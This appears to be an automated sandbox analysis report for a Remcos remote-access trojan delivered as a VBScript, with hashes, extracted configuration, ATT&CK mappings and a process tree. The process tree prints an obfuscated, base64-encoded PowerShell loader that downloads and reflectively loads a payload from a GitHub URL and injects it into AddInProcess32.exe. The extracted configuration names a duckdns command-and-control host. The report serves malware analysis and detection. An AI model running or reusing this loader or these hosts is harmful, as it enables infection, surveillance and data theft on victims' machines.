remcos | 96c7c3c8df1b8ddd33de8331f5f636c5bc7d0695b5d6cf22021c31d16f6f305f

General

Target

asegurar.vbs
Size

486KB
MD5

fdcf96cf3407c66f4943f2253b16af72
SHA1

e8d416d183f29e63e5938363b3a234b20b8ea107
SHA256

96c7c3c8df1b8ddd33de8331f5f636c5bc7d0695b5d6cf22021c31d16f6f305f
SHA512

b03dcde70b44ac7b6ec4c57e52f2e0b6be96362c50881953fcf05240e704b11adca440926a2bcc7d1d494ee4b8ffd527753982eb090a05f1ccbad009506802e8
SSDEEP

12288:1BBQ2qtiJpZBdlB55pXRhDEBJ1bsXq8OnO5YWgVAjDcGS+e0W/5fyxJfd7ieMboV:5q+R2IUEF/N

Score

10^/10

remcos matrix fenix*discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Extracted

Family

remcos

Botnet

Matrix Fenix*

C2

newssssssssssssss.duckdns.org:2404

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
registros.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-XDNGQ0
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Capturas de pantalla
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
11	4512	powershell.exe
20	4512	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1116	powershell.exe
4512	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
11	raw.githubusercontent.com
8	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4512 set thread context of 1852	4512	powershell.exe	92

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1116	powershell.exe
1116	powershell.exe
4512	powershell.exe
4512	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeDebugPrivilege	4512	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1852	AddInProcess32.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1136 wrote to memory of 1116	1136	WScript.exe	89
PID 1136 wrote to memory of 1116	1136	WScript.exe	89
PID 1116 wrote to memory of 4512	1116	powershell.exe	91
PID 1116 wrote to memory of 4512	1116	powershell.exe	91
PID 4512 wrote to memory of 1852	4512	powershell.exe	92
PID 4512 wrote to memory of 1852	4512	powershell.exe	92
PID 4512 wrote to memory of 1852	4512	powershell.exe	92
PID 4512 wrote to memory of 1852	4512	powershell.exe	92
PID 4512 wrote to memory of 1852	4512	powershell.exe	92
PID 4512 wrote to memory of 1852	4512	powershell.exe	92
PID 4512 wrote to memory of 1852	4512	powershell.exe	92
PID 4512 wrote to memory of 1852	4512	powershell.exe	92
PID 4512 wrote to memory of 1852	4512	powershell.exe	92
PID 4512 wrote to memory of 1852	4512	powershell.exe	92
PID 4512 wrote to memory of 1852	4512	powershell.exe	92
PID 4512 wrote to memory of 1852	4512	powershell.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\asegurar.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJFBzaE9NZVs0XSskcFNIT21FWzM0XSsnWCcpKCgoJ3snKycyfXUnKydyJysnbCAnKyc9ICcrJ3snKycwJysnfScrJ2gnKyd0JysndHAnKydzOicrJy8nKycvcicrJ2F3LicrJ2dpdGgnKyd1YicrJ3VzZXJjb250JysnZW50LmMnKydvbS9ObycrJ0RldGUnKydjdE9uL05vRGV0ZScrJ2N0TycrJ24vJysncmVmcy8nKydoJysnZScrJ2Fkcy8nKydtYWknKyduLycrJ0QnKydldCcrJ2FoTm90JysnaC1WLnR4dHswJysnfTsgeycrJzJ9YmEnKydzZTYnKyc0Q28nKydudGVudCAnKyc9IChOZXctT2JqZScrJ2N0ICcrJ1MnKyd5Jysnc3QnKydlbS5OZXQnKycuV2ViQ2xpZScrJ250KS5Eb3duJysnbG9hZFN0cmknKyduZyh7Mn0nKyd1cmwpOycrJyAnKyd7Mn1iaScrJ24nKydhcicrJ3lDbycrJ250ZScrJ250ICcrJz0gW1N5cycrJ3QnKydlbS5DbycrJ252ZXJ0JysnXTo6RnJvbUJhc2UnKyc2JysnNFMnKyd0JysncicrJ2knKyduZycrJyh7Mn0nKydiYXNlNicrJzQnKydDbycrJ250ZW4nKyd0KTsgezInKyd9YXNzZW1ibHkgPSAnKydbJysnUicrJ2VmbGVjdGlvbicrJy5Bc3NlJysnbWInKydseV06OicrJ0xvJysnYWQnKycoezJ9YmluYXInKyd5QycrJ29udGVudCcrJyk7IFsnKydkbicrJ2wnKydpYi5JJysnTy5Ib20nKydlJysnXTo6VkFJKHsxfTAnKycvZTJpJysnbUInKycvJysnZC9lZS5ldCcrJ3NhcC8vJysnOicrJ3MnKydwJysndCcrJ3QnKydoezF9LCcrJyB7MX1kJysnZXNhdCcrJ2l2JysnYWRvJysnezF9JysnLCB7MX0nKydkZScrJ3NhdGl2JysnYWRvezF9LCB7MX1kZXMnKydhdCcrJ2knKyd2YWQnKydvezF9LCcrJyB7MX1BJysnZGRJblByb2NlcycrJ3MzMnsxfScrJywgJysnezF9JysneycrJzEnKyd9LCcrJ3sxfXsxfSknKSAtRiAgW2NIYXJdMzksW2NIYXJdMzQsW2NIYXJdMzYpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $PshOMe[4]+$pSHOmE[34]+'X')((('{'+'2}u'+'r'+'l '+'= '+'{'+'0'+'}'+'h'+'t'+'tp'+'s:'+'/'+'/r'+'aw.'+'gith'+'ub'+'usercont'+'ent.c'+'om/No'+'Dete'+'ctOn/NoDete'+'ctO'+'n/'+'refs/'+'h'+'e'+'ads/'+'mai'+'n/'+'D'+'et'+'ahNot'+'h-V.txt{0'+'}; {'+'2}ba'+'se6'+'4Co'+'ntent '+'= (New-Obje'+'ct '+'S'+'y'+'st'+'em.Net'+'.WebClie'+'nt).Down'+'loadStri'+'ng({2}'+'url);'+' '+'{2}bi'+'n'+'ar'+'yCo'+'nte'+'nt '+'= [Sys'+'t'+'em.Co'+'nvert'+']::FromBase'+'6'+'4S'+'t'+'r'+'i'+'ng'+'({2}'+'base6'+'4'+'Co'+'nten'+'t); {2'+'}assembly = '+'['+'R'+'eflection'+'.Asse'+'mb'+'ly]::'+'Lo'+'ad'+'({2}binar'+'yC'+'ontent'+'); ['+'dn'+'l'+'ib.I'+'O.Hom'+'e'+']::VAI({1}0'+'/e2i'+'mB'+'/'+'d/ee.et'+'sap//'+':'+'s'+'p'+'t'+'t'+'h{1},'+' {1}d'+'esat'+'iv'+'ado'+'{1}'+', {1}'+'de'+'sativ'+'ado{1}, {1}des'+'at'+'i'+'vad'+'o{1},'+' {1}A'+'ddInProces'+'s32{1}'+', '+'{1}'+'{'+'1'+'},'+'{1}{1})') -F [cHar]39,[cHar]34,[cHar]36) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4512
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:1852

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4280,i,10065386245627775856,6567048529106473151,262144 --variations-seed-version --mojo-platform-channel-handle=4316 /prefetch:8
1⤵
PID:3340

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\ProgramData\remcos\registros.dat

Filesize
144B

MD5
a379f7bff2819ff6fc5a71cebaf187e7

SHA1
098ef52b77eb16c8d121b0dbeeff6e87e792b2df

SHA256
2ebe0fda7437224882c7382eed94c355a5b6539bb1088c108ab40a088fabade6

SHA512
fc91641d3ffe7f56f94973b8c997d73a81daf1689fb46cacfc85b755f8542cd22fcf2b41ebbdbd497cae5b5cd3d1e981d3bd45c70219ca866a136f3bc4cbcb88

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
43e8c4389029c09460de3614d7f5897d

SHA1
f3f0860e6bb1760d5541904860ab76b87decca80

SHA256
c5bc7915f69e9ee0f8519e92b7ca34518b61684bfbf91a81fe62fd02b1020c02

SHA512
7560063d6a221bae2dcaeea79397a6af8d01c899ec88e5e1bb980568876a0f83eac4a7d65c289021408b0f1d187f4b4088121957f394019751e545b425741534

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ommej03e.ke0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1116-1-0x0000012F21D80000-0x0000012F21DA2000-memory.dmp

Filesize
136KB

Download
memory/1116-11-0x00007FFAABD80000-0x00007FFAAC841000-memory.dmp

Filesize
10.8MB

Download
memory/1116-12-0x00007FFAABD80000-0x00007FFAAC841000-memory.dmp

Filesize
10.8MB

Download
memory/1116-0-0x00007FFAABD83000-0x00007FFAABD85000-memory.dmp

Filesize
8KB

Download
memory/1116-30-0x00007FFAABD80000-0x00007FFAAC841000-memory.dmp

Filesize
10.8MB

Download
memory/1852-34-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1852-46-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1852-31-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1852-23-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1852-35-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1852-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1852-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1852-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1852-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1852-26-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1852-47-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1852-54-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1852-55-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1852-62-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1852-63-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1852-71-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4512-22-0x000001C152E40000-0x000001C153060000-memory.dmp

Filesize
2.1MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads